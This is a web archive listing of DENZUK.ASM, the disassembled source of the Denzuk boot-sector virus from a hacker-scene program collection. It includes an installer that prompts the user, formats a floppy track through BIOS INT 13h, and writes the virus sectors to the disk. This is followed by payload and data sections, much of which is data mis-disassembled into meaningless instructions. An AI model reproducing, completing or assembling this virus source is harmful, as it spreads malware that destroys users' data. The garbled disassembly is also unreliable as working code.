home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DENZUK.ASM < prev    next >
Assembly Source File  |  1992-09-01  |  61KB  |  2,593 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    DENZUK                         ██
  7. ;██                                         ██
  8. ;██      Created:   4-Feb-91                             ██
  9. ;██      Passes:    5           Analysis Options on: J                 ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_0001e    equ    24h
  14. data_0002e    equ    26h
  15. data_0003e    equ    4Ch
  16. data_0004e    equ    4Eh
  17. data_0005e    equ    78h
  18. data_0006e    equ    1BCh
  19. data_0007e    equ    1BEh
  20. main_ram_size_    equ    413h
  21. keybd_flags_1_    equ    417h
  22. video_mode_    equ    449h
  23. warm_boot_flag_    equ    472h
  24. data_0008e    equ    4F6h
  25. data_0009e    equ    51Ch            ;*
  26. data_0010e    equ    61Eh            ;*
  27. data_0011e    equ    7C00h            ;*
  28. data_0012e    equ    7C0Bh            ;*
  29. data_0013e    equ    7C0Eh            ;*
  30. data_0014e    equ    7C10h            ;*
  31. data_0015e    equ    7C11h            ;*
  32. data_0016e    equ    7C15h            ;*
  33. data_0017e    equ    7C16h            ;*
  34. data_0018e    equ    7C18h            ;*
  35. data_0019e    equ    7C1Ah            ;*
  36. data_0020e    equ    7C1Ch            ;*
  37. data_0021e    equ    7C2Ah            ;*
  38. data_0022e    equ    7C2Bh            ;*
  39. data_0023e    equ    7C37h            ;*
  40. data_0024e    equ    7C39h            ;*
  41. data_0025e    equ    7C3Bh            ;*
  42. data_0026e    equ    7C3Ch            ;*
  43. data_0027e    equ    7C3Dh            ;*
  44. data_0028e    equ    7C3Fh            ;*
  45. data_0029e    equ    7D77h            ;*
  46. data_0030e    equ    7DD6h            ;*
  47. data_0031e    equ    7DE1h            ;*
  48. data_0032e    equ    7DFDh            ;*
  49. data_0033e    equ    0
  50. data_0035e    equ    28h
  51. data_0036e    equ    33h
  52. data_0037e    equ    5Ch
  53. data_0157e    equ    1E50h            ;*
  54. data_0158e    equ    2000h            ;*
  55. data_0161e    equ    2A00h            ;*
  56. data_0164e    equ    7C00h            ;*
  57. data_0165e    equ    7C0Bh            ;*
  58. data_0166e    equ    7C15h            ;*
  59. data_0167e    equ    7C18h            ;*
  60. data_0168e    equ    7C1Ah            ;*
  61. data_0169e    equ    7C1Eh            ;*
  62. data_0171e    equ    7C2Ch            ;*
  63. data_0172e    equ    7C2Eh            ;*
  64. data_0173e    equ    7C30h            ;*
  65. data_0174e    equ    7C31h            ;*
  66. data_0175e    equ    7C32h            ;*
  67. data_0176e    equ    7CC6h            ;*
  68. data_0178e    equ    7E00h            ;*
  69. data_0179e    equ    8002h            ;*
  70. data_0181e    equ    0A82Ah            ;*
  71. data_0182e    equ    0AA00h            ;*
  72. data_0183e    equ    0AA02h            ;*
  73. data_0185e    equ    0AA2Ah            ;*
  74. data_0186e    equ    0AAAAh            ;*
  75.  
  76. seg_a        segment    byte public
  77.         assume    cs:seg_a, ds:seg_a
  78.  
  79.  
  80.         org    100h
  81.  
  82. denzuk        proc    far
  83.  
  84. start:
  85.         mov    dx,29Dh
  86.         dec    byte ptr ds:data_0037e
  87.         jns    loc_0002        ; Jump if not sign
  88.         jmp    loc_0008
  89. loc_0002:
  90.         mov    dx,1BFh
  91.         call    sub_0001
  92.         xor    ah,ah            ; Zero register
  93.         int    16h            ; Keyboard i/o  ah=function 00h
  94.                         ;  get keybd char in al, ah=scan
  95.         and    al,0DFh
  96.         cmp    al,59h            ; 'Y'
  97.         jne    loc_ret_0009        ; Jump if not equal
  98.         mov    dl,ds:data_0037e
  99.         xor    ah,ah            ; Zero register
  100.         int    13h            ; Disk  dl=drive a  ah=func 00h
  101.                         ;  reset disk, al=return status
  102.         jc    loc_0007        ; Jump if carry Set
  103.         push    dx
  104.         mov    dx,281h
  105.         call    sub_0001
  106.         pop    dx
  107.         mov    ax,351Eh
  108.         int    21h            ; DOS Services  ah=function 35h
  109.                         ;  get intrpt vector al in es:bx
  110.         mov    al,9
  111.         xchg    al,es:[bx+4]
  112.         push    es
  113.         push    bx
  114.         push    ax
  115.         push    ds
  116.         pop    es
  117.         xor    dh,dh            ; Zero register
  118.         mov    ch,28h            ; '('
  119.         mov    bx,offset data_0040
  120.         mov    ax,509h
  121.         int    13h            ; Disk  dl=drive a  ah=func 05h
  122.                         ;  format track=ch or cylindr=cx
  123.                         ;   al=interleave, dh=head
  124.         pop    ax
  125.         pop    bx
  126.         pop    es
  127.         jc    loc_0007        ; Jump if carry Set
  128.         mov    es:[bx+4],al
  129.         push    ds
  130.         pop    es
  131.         cld                ; Clear direction
  132.         mov    si,offset data_0058
  133.         jmp    short loc_0004
  134. loc_0003:
  135.         test    dh,dh
  136.         jnz    loc_0004        ; Jump if not zero
  137.         dec    cx
  138.         jz    loc_ret_0009        ; Jump if zero
  139. loc_0004:
  140.         lea    bx,[si+5]        ; Load effective addr
  141.         mov    bp,200h
  142.         lodsb                ; String [si] to al
  143.         cmp    al,0F6h
  144.         je    loc_0006        ; Jump if equal
  145.         mov    bx,offset data_0049
  146.         cmp    al,[bx]
  147.         je    loc_0005        ; Jump if equal
  148.         mov    di,bx
  149.         mov    cx,bp
  150.         rep    stosb            ; Rep when cx >0 Store al to es:[di]
  151. loc_0005:
  152.         xor    bp,bp            ; Zero register
  153. loc_0006:
  154.         lodsw                ; String [si] to ax
  155.         xchg    ax,cx
  156.         lodsw                ; String [si] to ax
  157.         xchg    ax,dx
  158.         or    dl,ds:data_0037e
  159.         lea    si,[bp+si]        ; Load effective addr
  160.         mov    ax,301h
  161.         push    si
  162.         push    cx
  163.         push    dx
  164.         int    13h            ; Disk  dl=drive a  ah=func 03h
  165.                         ;  write sectors from mem es:bx
  166.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  167.         pop    dx
  168.         pop    cx
  169.         pop    si
  170.         jnc    loc_0003        ; Jump if carry=0
  171. loc_0007:
  172.         mov    dx,offset data_0048
  173.  
  174. denzuk        endp
  175.  
  176. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  177. ;                   SUBROUTINE
  178. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  179.  
  180. sub_0001    proc    near
  181. loc_0008:
  182.         mov    ah,9
  183.         int    21h            ; DOS Services  ah=function 09h
  184.                         ;  display char string at ds:dx
  185.  
  186. loc_ret_0009:
  187.         retn
  188. sub_0001    endp
  189.  
  190. data_0040    db    28h
  191.         db     00h, 21h, 02h, 28h, 00h, 22h
  192.         db     02h, 28h, 00h, 23h, 02h, 28h
  193.         db     00h, 24h, 02h, 28h, 00h, 25h
  194.         db     02h, 28h, 00h, 26h, 02h, 28h
  195.         db     00h, 27h, 02h, 28h, 00h, 28h
  196.         db     02h, 28h, 00h, 29h, 02h
  197.         db    0Dh
  198. data_0041    db    0Ah, 'You are about to install a '
  199.         db    'VIRUS on your diskette!!!', 0Dh, 0Ah
  200.         db    'This will des'
  201. data_0043    dw    7274h
  202. data_0044    db    6Fh
  203. data_0045    dw    2079h
  204.         db    'ALL data on the diskette!!!', 0Dh
  205.         db    0Ah, 'Inser'
  206. data_0046    dw    2074h
  207.         db    'a formatted 360K di'
  208. data_0047    dw    6B73h
  209.         db    'ette into the drive.', 0Dh, 0Ah, 'A'
  210.         db    're you sure you want to proceed '
  211.         db    '(y/N)? $'
  212.         db    0Dh, 0Ah, 0Ah, 'Writing...$'
  213. data_0048    db    0Dh
  214.         db     0Ah, 45h, 72h, 72h, 6Fh, 72h
  215.         db     07h, 21h, 07h, 21h, 07h
  216.         db    '!$'
  217.         db    'Usage:  DENZUK A:    ', 0Dh, 0Ah
  218.         db    '$'
  219. data_0049    dw    167 dup (0)
  220. data_0050    dw    0
  221. data_0051    db    0
  222. data_0052    dw    0, 0
  223. data_0054    dw    0, 0
  224.         db    82 dup (0)
  225. data_0056    dd    00000h
  226. data_0057    dd    00000h
  227.         db    77 dup (0)
  228. data_0058    db    0F6h
  229.         db     29h, 28h, 00h, 00h,0FFh
  230.  
  231. locloop_0011:
  232.         loop    locloop_0011        ; Loop if cx > 0
  233.  
  234.         pop    di
  235.         pop    si
  236.         pop    es
  237.         pop    ds
  238.         pop    dx
  239.         pop    cx
  240.         pop    ax
  241.         popf                ; Pop flags
  242.         retn
  243.         db     8Dh, 36h,0D1h, 07h
  244.         db    0BFh, 90h, 0Bh,0B9h, 00h, 05h
  245.         db    0F3h,0A4h
  246.         db     8Dh, 36h,0D1h, 0Ch
  247.         db    0BFh, 40h, 2Bh,0B9h, 00h, 05h
  248.         db    0F3h,0A4h,0C3h, 51h,0FCh, 32h
  249.         db    0D2h,0BEh, 10h, 00h
  250. loc_0012:
  251.         mov    cx,28h
  252.  
  253. locloop_0013:
  254.         mov    ax,es:[di]
  255.         xchg    al,ah
  256.         ror    ax,1            ; Rotate
  257.         ror    ax,1            ; Rotate
  258.         mov    dh,ah
  259.         and    dh,0C0h
  260.         and    ah,3Fh            ; '?'
  261.         or    ah,dl
  262.         mov    dl,dh
  263.         xchg    al,ah
  264.         stosw                ; Store ax to es:[di]
  265.         loop    locloop_0013        ; Loop if cx > 0
  266.  
  267.         dec    si
  268.         jnz    loc_0012        ; Jump if not zero
  269.         pop    cx
  270.         retn
  271.         db     51h,0FDh, 32h,0D2h
  272.         db    0BEh, 10h, 00h
  273. loc_0014:
  274.         mov    cx,28h
  275.  
  276. locloop_0015:
  277.         mov    ax,es:[di]
  278.         xchg    al,ah
  279.         rol    ax,1            ; Rotate
  280.         rol    ax,1            ; Rotate
  281.         mov    dh,al
  282.         and    dh,3
  283.         and    al,0FCh
  284.         or    al,dl
  285.         mov    dl,dh
  286.         xchg    al,ah
  287.         stosw                ; Store ax to es:[di]
  288.         loop    locloop_0015        ; Loop if cx > 0
  289.  
  290.         dec    si
  291.         jnz    loc_0014        ; Jump if not zero
  292.         pop    cx
  293.         cld                ; Clear direction
  294.         retn
  295. data_0066    db    'WS      EXE ', 0
  296.         db    9 dup (0)
  297.         db     52h,0B1h, 3Bh, 12h, 02h, 00h
  298.         db     00h, 5Eh, 02h, 00h
  299.         db    'WSHELP  OVR!'
  300.         db    0
  301.         db    9 dup (0)
  302.         db     03h, 88h, 12h, 11h, 41h, 01h
  303.         db    0A0h, 9Dh, 00h, 00h
  304.         db    'WSSPELL OVR!'
  305.         db    0
  306.         db    9 dup (0)
  307.         db     03h, 88h, 12h, 11h, 9Fh, 00h
  308.         db     80h, 80h, 00h, 00h, 59h,0F9h
  309.         db     43h,0F9h, 31h,0F9h, 45h,0F9h
  310.         db     52h,0F9h, 50h, 29h, 00h
  311.         db    9 dup (0)
  312.         db    0A0h,0B2h, 46h, 12h, 00h, 00h
  313.         db     00h, 00h, 00h, 00h
  314.         db    'WSMSGS  OVR!'
  315.         db    0
  316.         db    9 dup (0)
  317.         db     03h, 88h, 12h, 11h,0C0h, 00h
  318.         db     62h, 53h, 00h, 00h
  319.         db    'PREVIEW OVR!'
  320.         db    0
  321.         db    9 dup (0)
  322.         db     03h, 88h, 0Fh, 11h, 16h, 01h
  323.         db     10h,0ABh, 00h, 00h
  324.         db    'PREVIEW MSG!'
  325.         db    0
  326.         db    9 dup (0)
  327.         db     03h, 88h, 0Fh, 11h,0D5h, 00h
  328.         db     00h, 22h, 00h, 00h
  329.         db    'DRAFT   PDF!'
  330.         db    0
  331.         db    9 dup (0)
  332.         db     03h, 88h, 12h, 11h,0DEh, 00h
  333.         db    0AAh, 03h, 00h, 00h
  334.         db    'WSSHORT OVR!'
  335.         db    0
  336.         db    9 dup (0)
  337.         db     03h, 88h, 12h, 11h,0DFh, 00h
  338.         db     00h, 02h, 00h, 00h
  339.         db    'WS4     PDF!'
  340.         db    0
  341.         db    9 dup (0)
  342.         db     03h, 88h, 12h, 11h,0E0h, 00h
  343.         db    0ABh, 01h, 00h, 00h
  344.         db    'CONFIG  SYS!'
  345.         db    0
  346.         db    9 dup (0)
  347.         db     11h,0A3h, 39h, 12h,0E1h, 00h
  348.  
  349. locloop_0017:
  350.         or    ax,[bx+si]
  351.         add    [bx+si],al
  352.         inc    cx
  353.         push    bp
  354.         push    sp
  355.         dec    di
  356.         inc    bp
  357.         pop    ax
  358.         inc    bp
  359.         inc    bx
  360.         inc    dx
  361.         inc    cx
  362.         push    sp
  363.         and    [bx+si],ax
  364.         add    [bx+si],al
  365.         add    [bx+si],al
  366.         add    [bx+si],al
  367.         add    [bx+si],al
  368.         add    [bx+si],ah
  369.         mov    word ptr ds:[1239h],ax
  370.         loop    locloop_0018        ; Loop if cx > 0
  371.  
  372.  
  373. locloop_0018:
  374.         or    [bx+si],ax
  375.         add    [bx+si],al
  376.         push    di
  377.         push    bx
  378.         dec    ax
  379.         pop    cx
  380.         push    ax
  381.         dec    ax
  382.         and    [bx+si],ah
  383.         dec    di
  384.         imul    byte ptr [bx+si]    ; ax = data * al
  385.         sub    [bx+si],al
  386.         add    [bx+si],al
  387.         add    [bx+si],al
  388.         stosb                ; Store al to es:[di]
  389.         test    al,0
  390.         add    [bx+si],al
  391.         add    [bx+si],al
  392.         add    [bx+si],al
  393.         add    [bx+si],al
  394.         sub    ch,[bp+si+0]
  395.         nop                ;*ASM fixup - displacement
  396.         nop                ;*ASM fixup - sign extn byte
  397.         stosb                ; Store al to es:[di]
  398.         stosb                ; Store al to es:[di]
  399.         stosb                ; Store al to es:[di]
  400.         stosb                ; Store al to es:[di]
  401.         add    byte ptr [bx+si],0
  402.         add    [bx+si],al
  403.         add    [bp+si],al
  404.         stosb                ; Store al to es:[di]
  405.         stosb                ; Store al to es:[di]
  406.         add    [bx+si],al
  407.         add    [bx+si],al
  408.         add    [bp+si],ch
  409.         stosb                ; Store al to es:[di]
  410.         add    [bx+si],al
  411.         add    [bp+si],ch
  412.         stosb                ; Store al to es:[di]
  413.         add    [bp+si],al
  414.         stosb                ; Store al to es:[di]
  415.         mov    al,ds:data_0183e
  416.         test    al,0
  417.         add    [bp+si],ch
  418.         stosb                ; Store al to es:[di]
  419.         stosb                ; Store al to es:[di]
  420.         stosb                ; Store al to es:[di]
  421.         stosb                ; Store al to es:[di]
  422.         stosb                ; Store al to es:[di]
  423.         stosb                ; Store al to es:[di]
  424.         stosb                ; Store al to es:[di]
  425.         stosb                ; Store al to es:[di]
  426.         add    [bx+si],al
  427.         add    [bx+si],al
  428.         add    [bx+si],al
  429.         add    [bx+si],al
  430.         add    [bx+si],al
  431.         add    [bx+si],al
  432.         add    [bx+si],al
  433.         add    [bx+si],al
  434.         stosb                ; Store al to es:[di]
  435.         test    al,0
  436.         add    [bx+si],al
  437.         or    ch,[bp+si+0A0h]
  438.         add    [bx+si],al
  439.         add    [bx+si],al
  440.         add    [bx+si],al
  441.         add    [bx+si],al
  442.         sub    ch,[bp+si+0]
  443.         nop                ;*ASM fixup - displacement
  444.         nop                ;*ASM fixup - sign extn byte
  445.         add    ch,[bp+si-5556h]
  446.         add    byte ptr [bx+si],0
  447.         add    [bx+si],al
  448.         add    [bp+si],ch
  449.         stosb                ; Store al to es:[di]
  450.         mov    al,ds:data_0033e
  451.         add    [bx+si],al
  452.         add    [bp+si],ch
  453.         stosb                ; Store al to es:[di]
  454.         add    [bx+si],al
  455.         add    [bp+si],ch
  456.         stosb                ; Store al to es:[di]
  457.         add    [bp+si],al
  458.         stosb                ; Store al to es:[di]
  459.         mov    al,ds:data_0182e
  460.         stosb                ; Store al to es:[di]
  461.         add    [bx+si],al
  462.         or    ch,[bp+si+0A8h]
  463.         add    [bx+si],al
  464.         add    [bx+si],al
  465.         add    [bx+si],al
  466.         add    [bx+si],al
  467.         add    [bx+si],al
  468.         add    [bx+si],al
  469.         add    [bx+si],al
  470.         add    [bx+si],al
  471.         add    [bx+si],al
  472.         add    [bx+si],al
  473.         add    [bp+si+0A8h],ch
  474.         add    [bp+si],al
  475.         stosb                ; Store al to es:[di]
  476.         stosb                ; Store al to es:[di]
  477.         add    byte ptr [bx+si],0
  478.         add    [bx+si],al
  479.         add    [bx+si],al
  480.         add    [bx+si],al
  481.         add    [bp+si],ch
  482.         stosb                ; Store al to es:[di]
  483.         add    [bx+si],al
  484.         add    [bp+si],cl
  485.         stosb                ; Store al to es:[di]
  486.         stosb                ; Store al to es:[di]
  487.         add    byte ptr [bx+si],0
  488.         add    [bx+si],al
  489.         add    [bp+si-7F56h],ch
  490.         add    [bx+si],al
  491.         add    [bx+si],al
  492.         add    [bp+si],ch
  493.         stosb                ; Store al to es:[di]
  494.         add    byte ptr [bx+si],0
  495.         stosb                ; Store al to es:[di]
  496.         stosb                ; Store al to es:[di]
  497.         add    [bp+si],al
  498.         stosb                ; Store al to es:[di]
  499.         mov    al,ds:data_0161e
  500.         stosb                ; Store al to es:[di]
  501.         add    byte ptr [bx+si],0
  502.         add    [bx+si],al
  503.         add    [bx+si],al
  504.         add    [bx+si],al
  505.         add    [bx+si],al
  506.         add    [bx+si],al
  507.         add    [bx+si],al
  508.         add    [bx+si],al
  509.         add    [bx+si],al
  510.         add    [bx+si],al
  511.         add    [bx+si],al
  512.         add    [bx+si],al
  513.         add    [bx+si],al
  514.         stosb                ; Store al to es:[di]
  515.         test    al,0
  516.         stosb                ; Store al to es:[di]
  517.         stosb                ; Store al to es:[di]
  518.         stosb                ; Store al to es:[di]
  519.         test    al,0
  520.         add    [bp+si],cl
  521.         stosb                ; Store al to es:[di]
  522.         stosb                ; Store al to es:[di]
  523.         stosb                ; Store al to es:[di]
  524.         stosb                ; Store al to es:[di]
  525.         stosb                ; Store al to es:[di]
  526.         mov    al,ds:data_0161e
  527.         stosb                ; Store al to es:[di]
  528.         add    [bx+si],al
  529.         add    [bx+si],al
  530.         sub    ch,[bp+si+80h]
  531.         add    [bx+si],al
  532.         add    [bp+si],cl
  533.         stosb                ; Store al to es:[di]
  534.         stosb                ; Store al to es:[di]
  535.         stosb                ; Store al to es:[di]
  536.         stosb                ; Store al to es:[di]
  537.         stosb                ; Store al to es:[di]
  538.         stosb                ; Store al to es:[di]
  539.         mov    al,byte ptr ds:[0A00h]
  540.         stosb                ; Store al to es:[di]
  541.         stosb                ; Store al to es:[di]
  542.         add    [bp+si],ch
  543.         stosb                ; Store al to es:[di]
  544.         test    al,0
  545.         add    ch,[bp+si+0A0h]
  546.         add    ch,[bp+si+0A8h]
  547.         add    [bp+si],ch
  548.         stosb                ; Store al to es:[di]
  549.         stosb                ; Store al to es:[di]
  550.         stosb                ; Store al to es:[di]
  551.         stosb                ; Store al to es:[di]
  552.         add    [bx+si],al
  553.         add    [bx+si],al
  554.         add    [bx+si],al
  555.         add    [bx+si],al
  556.         add    [bx+si],al
  557.         add    [bx+si],al
  558.         add    [bx+si],al
  559.         add    [bx+si],al
  560.         add    [bx+si],al
  561.         add    [bp+si+0A8h],ch
  562.         stosb                ; Store al to es:[di]
  563.         stosb                ; Store al to es:[di]
  564.         stosb                ; Store al to es:[di]
  565.         add    byte ptr [bx+si],0
  566.         or    ch,[bp+si-5556h]
  567.         stosb                ; Store al to es:[di]
  568.         stosb                ; Store al to es:[di]
  569.         mov    al,ds:data_0161e
  570.         stosb                ; Store al to es:[di]
  571.         add    [bx+si],al
  572.         add    [bx+si],al
  573.         add    [bp+si+80h],ch
  574.         add    [bx+si],al
  575.         add    [bp+si-5556h],ch
  576.         stosb                ; Store al to es:[di]
  577.         stosb                ; Store al to es:[di]
  578.         stosb                ; Store al to es:[di]
  579.         stosb                ; Store al to es:[di]
  580.         mov    al,ds:data_0033e
  581.         stosb                ; Store al to es:[di]
  582.         stosb                ; Store al to es:[di]
  583.         add    [bp+si],ch
  584.         stosb                ; Store al to es:[di]
  585.         add    byte ptr [bx+si],2
  586.         stosb                ; Store al to es:[di]
  587.         mov    al,ds:data_0033e
  588.         stosb                ; Store al to es:[di]
  589.         stosb                ; Store al to es:[di]
  590.         add    [bx+si],al
  591.         add    [bx+si],al
  592.         add    [bx+si],al
  593.         add    [bx+si],al
  594.         add    [bx+si],al
  595.         add    [bx+si],al
  596.         add    [bx+si],al
  597.         add    [bx+si],al
  598.         add    [bx+si],al
  599.         add    [bx+si],al
  600.         add    [bx+si],al
  601.         add    [bx+si],al
  602.         add    [bx+si],al
  603.         stosb                ; Store al to es:[di]
  604.         test    al,0
  605.         stosb                ; Store al to es:[di]
  606.         stosb                ; Store al to es:[di]
  607.         add    byte ptr [bx+si],0
  608.         add    [bp+si],cl
  609.         stosb                ; Store al to es:[di]
  610.         stosb                ; Store al to es:[di]
  611.         stosb                ; Store al to es:[di]
  612.         stosb                ; Store al to es:[di]
  613.         stosb                ; Store al to es:[di]
  614.         mov    al,ds:data_0161e
  615.         stosb                ; Store al to es:[di]
  616.         add    [bx+si],al
  617.         add    [bx+si],al
  618.         add    [bp+si],al
  619.         add    byte ptr [bx+si],0
  620.         add    [bp+si],al
  621.         stosb                ; Store al to es:[di]
  622.         stosb                ; Store al to es:[di]
  623.         stosb                ; Store al to es:[di]
  624.         stosb                ; Store al to es:[di]
  625.         stosb                ; Store al to es:[di]
  626.         stosb                ; Store al to es:[di]
  627.         stosb                ; Store al to es:[di]
  628.         mov    al,ds:data_0033e
  629.         add    ch,[bp+si+2A00h]
  630.         mov    al,ds:data_0033e
  631.         add    ch,[bp+si+0A0h]
  632.         add    [bp+si],ch
  633.         stosb                ; Store al to es:[di]
  634.         add    byte ptr [bx+si],0
  635.         add    ch,[bp+si-5556h]
  636.         mov    al,ds:data_0033e
  637.         add    [bx+si],al
  638.         add    [bx+si],al
  639.         pushf                ; Push flags
  640.         push    ax
  641.         push    cx
  642.         push    dx
  643.         push    ds
  644.         push    es
  645.         push    si
  646.         push    di
  647.         push    cs
  648.         pop    ds
  649.         mov    ax,5
  650.         int    10h            ; Video display   ah=functn 00h
  651.                         ;  set display mode in al
  652.         mov    ax,0B800h
  653.         mov    es,ax
  654. ;*        call    sub_0002        ;*
  655.         db    0E8h, 24h, 00h
  656.         mov    cx,10h
  657.  
  658. locloop_0019:
  659.         call    sub_0003
  660.         mov    di,3040h
  661. ;*        call    sub_0004        ;*
  662.         db    0E8h, 57h, 00h
  663.         loop    locloop_0019        ; Loop if cx > 0
  664.  
  665.         mov    cx,0FFFFh
  666.  
  667. locloop_0020:
  668.         loop    locloop_0020        ; Loop if cx > 0
  669.  
  670.         mov    cx,0F6FFh
  671.         daa                ; Decimal adjust
  672.         sub    [bx+si],al
  673.         add    [bp+si],al
  674.         stosb                ; Store al to es:[di]
  675.         test    al,0
  676.         add    [bp+si-5556h],ch
  677.         stosb                ; Store al to es:[di]
  678.         stosb                ; Store al to es:[di]
  679.         add    byte ptr [bx+si],0
  680.         add    [bx+si],al
  681.         add    [bx+si],al
  682.         add    [bx+si],al
  683.         add    [bx+si],al
  684.         add    [bx+si],al
  685.         add    [bx+si],al
  686.         add    [bx+si],al
  687.         add    [bx+si],al
  688.         stosb                ; Store al to es:[di]
  689.         test    al,0
  690.  
  691. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  692. ;                   SUBROUTINE
  693. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  694.  
  695. sub_0003    proc    near
  696.         add    [bp+si],al
  697.         stosb                ; Store al to es:[di]
  698.         stosb                ; Store al to es:[di]
  699.         add    byte ptr [bx+si],0
  700.         add    [bx+si],al
  701.         add    [bx+si],al
  702.         add    [bx+si],al
  703.         add    [bp+si],ch
  704.         stosb                ; Store al to es:[di]
  705.         stosb                ; Store al to es:[di]
  706.         add    [bx+si],al
  707.         add    [bp+si],cl
  708.         stosb                ; Store al to es:[di]
  709.         add    byte ptr [bx+si],0
  710.         add    [bx+si],al
  711.         add    [bx+si],al
  712.         add    [bx+si],al
  713.         add    [bx+si],al
  714.         add    [bx+si],al
  715.         add    [bp+si],ch
  716.         stosb                ; Store al to es:[di]
  717.         add    [bx+si],al
  718.         add    [bp+si],ch
  719.         stosb                ; Store al to es:[di]
  720.         add    [bp+si],al
  721.         stosb                ; Store al to es:[di]
  722.         mov    al,ds:data_0033e
  723.         stosb                ; Store al to es:[di]
  724.         add    byte ptr [bx+si],0
  725.         add    [bx+si],al
  726.         add    [bx+si],al
  727.         add    [bx+si],al
  728.         add    [bx+si],al
  729.         add    [bx+si],al
  730.         add    [bx+si],al
  731.         add    [bx+si],al
  732.         add    [bx+si],al
  733.         add    [bx+si],al
  734.         add    [bx+si],al
  735.         add    [bx+si],al
  736.         add    [bx+si],al
  737.         stosb                ; Store al to es:[di]
  738.         test    al,0
  739.         add    [bx+si],al
  740.         or    ch,[bp+si+0A0h]
  741.         add    [bx+si],al
  742.         add    [bx+si],al
  743.         add    [bx+si],al
  744.         add    [bx+si],al
  745.         or    ch,[bp+si-5F56h]
  746.         add    [bx+si],al
  747.         or    ch,[bp+si+80h]
  748.         add    [bx+si],al
  749.         add    [bx+si],al
  750.         add    [bx+si],al
  751.         add    ch,[bp+si+0AAh]
  752.         add    [bx+si],al
  753.         sub    ch,[bp+si+0]
  754.         nop                ;*ASM fixup - displacement
  755.         nop                ;*ASM fixup - sign extn byte
  756.         add    [bp+si],ch
  757.         stosb                ; Store al to es:[di]
  758.         add    [bp+si],al
  759.         stosb                ; Store al to es:[di]
  760.         mov    al,ds:data_0033e
  761.         sub    al,[bx+si]
  762.         add    [bp+si],ch
  763.         stosb                ; Store al to es:[di]
  764.         stosb                ; Store al to es:[di]
  765.         stosb                ; Store al to es:[di]
  766.         stosb                ; Store al to es:[di]
  767.         stosb                ; Store al to es:[di]
  768.         stosb                ; Store al to es:[di]
  769.         stosb                ; Store al to es:[di]
  770.         stosb                ; Store al to es:[di]
  771.         add    [bx+si],al
  772.         add    [bx+si],al
  773.         add    [bx+si],al
  774.         add    [bx+si],al
  775.         add    [bx+si],al
  776.         add    [bx+si],al
  777.         add    [bx+si],al
  778.         add    [bx+si],al
  779.         stosb                ; Store al to es:[di]
  780.         test    al,0
  781.         add    [bx+si],al
  782.         add    [bp+si+0A8h],ch
  783.         add    [bx+si],al
  784.         add    [bx+si],al
  785.         add    [bx+si],al
  786.         add    [bx+si],al
  787.         add    [bp+si],ch
  788.         stosb                ; Store al to es:[di]
  789.         stosb                ; Store al to es:[di]
  790.         add    byte ptr [bx+si],0Ah
  791.         stosb                ; Store al to es:[di]
  792.         add    byte ptr [bx+si],0
  793.         add    [bx+si],al
  794.         add    [bx+si],al
  795.         add    [bp+si],ch
  796.         stosb                ; Store al to es:[di]
  797.         mov    al,ds:data_0033e
  798.         add    [bp+si],ch
  799.         stosb                ; Store al to es:[di]
  800.         add    [bx+si],al
  801.         add    [bp+si],ch
  802.         stosb                ; Store al to es:[di]
  803.         add    [bp+si],al
  804.         stosb                ; Store al to es:[di]
  805.         mov    al,ds:data_0179e
  806.         add    [bx+si],al
  807.         add    [bp+si-5756h],ch
  808.         add    [bx+si],al
  809.         add    [bx+si],al
  810.         add    [bx+si],al
  811.         add    [bx+si],al
  812.         add    [bx+si],al
  813.         add    [bx+si],al
  814.         add    [bx+si],al
  815.         add    [bx+si],al
  816.         add    [bx+si],al
  817.         add    [bx+si],al
  818.         add    [bx+si],al
  819.         stosb                ; Store al to es:[di]
  820.         test    al,0
  821.         add    [bx+si],al
  822.         add    [bp+si],ch
  823.         stosb                ; Store al to es:[di]
  824.         add    [bp+si],cl
  825.         stosb                ; Store al to es:[di]
  826.         stosb                ; Store al to es:[di]
  827.         stosb                ; Store al to es:[di]
  828.         stosb                ; Store al to es:[di]
  829.         stosb                ; Store al to es:[di]
  830.         mov    al,ds:data_0158e
  831.         add    [bp+si-5556h],ch
  832.         add    [bp+si],cl
  833.         stosb                ; Store al to es:[di]
  834.         add    byte ptr [bx+si],0
  835.         add    [bx+si],al
  836.         add    [bx+si],al
  837.         add    [bp+si-7F56h],ch
  838.         add    [bx+si],al
  839.         add    [bp+si],ch
  840.         stosb                ; Store al to es:[di]
  841.         add    [bx+si],al
  842.         add    [bp+si],ch
  843.         stosb                ; Store al to es:[di]
  844.         add    [bp+si],al
  845.         stosb                ; Store al to es:[di]
  846.         mov    al,ds:data_0181e
  847.         add    [bx+si],al
  848.         add    [bx+si],al
  849.         add    [bx+si],al
  850.         add    [bx+si],al
  851.         add    [bx+si],al
  852.         add    [bx+si],al
  853.         add    [bx+si],al
  854.         add    [bx+si],al
  855.         add    [bx+si],al
  856.         add    [bx+si],al
  857.         add    [bx+si],al
  858.         add    [bx+si],al
  859.         add    [bx+si],al
  860.         add    [bx+si],al
  861.         stosb                ; Store al to es:[di]
  862.         test    al,0
  863.         add    [bx+si],al
  864.         add    [bp+si],ch
  865.         stosb                ; Store al to es:[di]
  866.         add    [bp+si],cl
